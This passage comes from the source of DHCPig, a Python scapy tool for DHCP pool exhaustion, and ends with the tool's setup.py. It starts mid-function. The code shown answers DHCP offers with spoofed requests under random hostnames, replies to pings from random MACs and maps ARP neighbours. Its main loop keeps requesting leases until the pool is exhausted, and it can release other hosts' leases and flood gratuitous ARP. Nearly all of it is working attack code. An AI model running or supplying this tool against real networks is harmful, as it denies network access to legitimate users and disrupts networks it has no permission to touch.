IPv6[%s]"%(sip,cip,myip))) elif SHOW_ICMP and ICMPv6ND_NS in pkt and ICMPv6NDOptSrcLLAddr in pkt : LOG(type="<-", message= "v6 ICMP REQUEST FROM [%s] -> [%s]"%(pkt[ICMPv6NDOptSrcLLAddr].lladdr,pkt[ICMPv6ND_NS].tgt)) else: if DHCP in pkt: if pkt[DHCP] and pkt[DHCP].options[0][1] == 2: self.dhcpcount=0 dhcpsip = pkt[IP].src dhcpsmac = pkt[Ether].src for opt in pkt[DHCP].options: if opt[0] == 'subnet_mask': subnet=opt[1] break mymac = get_if_hwaddr(conf.iface) myip=pkt[BOOTP].yiaddr sip=pkt[BOOTP].siaddr localxid=pkt[BOOTP].xid localm=unpackMAC(pkt[BOOTP].chaddr) myhostname=''.join(random.choice(string.ascii_uppercase + string.digits) for x in range(8)) LOG(type="<--", message= "DHCP_Offer " + pkt[Ether].src +"\t"+sip + " IP: "+myip+" for MAC=["+localm+"]") if SHOW_DHCPOPTIONS: b = pkt[BOOTP] LOG(type="DEBUG", message= "\t* xid=%s"%repr(b.xid)) LOG(type="DEBUG", message= "\t* CIaddr=%s"%repr(b.ciaddr) ) LOG(type="DEBUG", message= "\t* YIaddr=%s"%repr(b.yiaddr) ) LOG(type="DEBUG", message= "\t* SIaddr=%s"%repr(b.siaddr) ) LOG(type="DEBUG", message= "\t* GIaddr=%s"%repr(b.giaddr) ) LOG(type="DEBUG", message= "\t* CHaddr=%s"%repr(b.chaddr) ) LOG(type="DEBUG", message= "\t* Sname=%s"%repr(b.sname) ) for o in pkt[DHCP].options: if isinstance(o,str): if o=="end": break #supress spam paddings :) LOG(type="DEBUG", message= "\t\t* "+repr(o) ) else: LOG(type="DEBUG", message= "\t\t* %s\t%s"%(o[0],o[1:]) ) dhcp_req = Ether(src=mymac,dst="ff:ff:ff:ff:ff:ff")/IP(src="0.0.0.0",dst="255.255.255.255")/UDP(sport=68,dport=67)/BOOTP(chaddr=[mac2str(localm)],xid=localxid,flags=0xFFFFFF)/DHCP(options=[("message-type","request"),("server_id",sip),("requested_addr",myip),("hostname",myhostname),("param_req_list","pad"),"end"]) LOG(type="-->", message= "DHCP_Request "+myip) sendPacket(dhcp_req) elif SHOW_LEASE_CONFIRM and pkt[DHCP] and pkt[DHCP].options[0][1] == 5: myip=pkt[BOOTP].yiaddr sip=pkt[BOOTP].siaddr LOG(type="<-", message= "DHCP_ACK " + pkt[Ether].src +"\t"+sip + " IP: "+myip+" for MAC=["+pkt[Ether].dst+"]") elif ICMP in pkt: if pkt[ICMP].type==8: myip=pkt[IP].dst mydst=pkt[IP].src if SHOW_ICMP: LOG(type="<-", message= "ICMP_Request "+mydst+" for "+myip ) icmp_req=Ether(src=randomMAC(),dst=pkt.src)/IP(src=myip,dst=mydst)/ICMP(type=0,id=pkt[ICMP].id,seq=pkt[ICMP].seq)/"12345678912345678912" if conf.verb: LOG(type="DEBUG", message= "%r"%icmp_req ) sendPacket(icmp_req) elif SHOW_ARP and ARP in pkt: myip = pkt[ARP].pdst mydst = pkt[ARP].psrc if pkt[ARP].op ==1: #op=1 who has, 2 is at LOG(type="DEBUG", message="ARP_Request " + myip + " from " + mydst) elif pkt[ARP].op ==2: myip=pkt[ARP].psrc myhw=pkt[ARP].hwsrc LOG(type="<-", message= "ARP_Response %s : %s" %(myip, myhw)) nodes[myhw] = myip def main(): """ """ global THREAD_POOL,dhcpdos,dhcpsip,dhcpsmac,subnet,nodes,THREAD_CNT,p_dhcp_advertise checkArgs() LOG(type="NOTICE", message= "[INFO] - using interface %s"%conf.iface) signal.signal(signal.SIGINT, signal_handler) dhcpsip=None dhcpsmac=None subnet=None nodes={} dhcpdos=False p_dhcp_advertise = None # contains dhcp advertise pkt once it is received (base for creating release()) LOG(type="DEBUG",message="Thread %d - (Sniffer) READY"%len(THREAD_POOL)) t=sniff_dhcp() t.start() THREAD_POOL.append(t) for i in range(THREAD_CNT): LOG(type="DEBUG",message="Thread %d - (Sender) READY"%len(THREAD_POOL)) t=send_dhcp() t.start() THREAD_POOL.append(t) fail_cnt=20 while dhcpsip==None and fail_cnt>0: time.sleep(TIMEOUT['dhcpip']) LOG(type="?", message= "\t\twaiting for first DHCP Server response") fail_cnt-=1 if fail_cnt==0: LOG(type="NOTICE", message= "[FAIL] No DHCP offers detected - aborting") signal_handler(signal.SIGINT,fail_cnt) if DO_ARP: neighbors() if DO_RELEASE: release() while not dhcpdos: time.sleep(TIMEOUT['dos']) LOG(type="?", message= " \t\twaiting for DHCP pool exhaustion...") if DO_GARP: LOG(type="NOTICE", message= "[INFO] waiting %s to mass grat.arp!"%TIMEOUT['dos']) time.sleep(TIMEOUT['dos']) garp() LOG(type="NOTICE", message= "[DONE] DHCP pool exhausted!") def usage(): print __doc__ if __name__ == '__main__': main() print "\n" DHCPig-1.5/setup.py000066400000000000000000000005701312402643600141320ustar00rootroot00000000000000#!/usr/bin/python # setup.py Authors: # Philippe Thierry import os import os.path from distutils.core import setup setup( name="dhcpig", author="Kevin Amorin", description="DHCP exhaustion script using scapy network library", license="GPL2+", url="https://github.com/kamorin/DHCPig", scripts=[ ("pig.py") ], )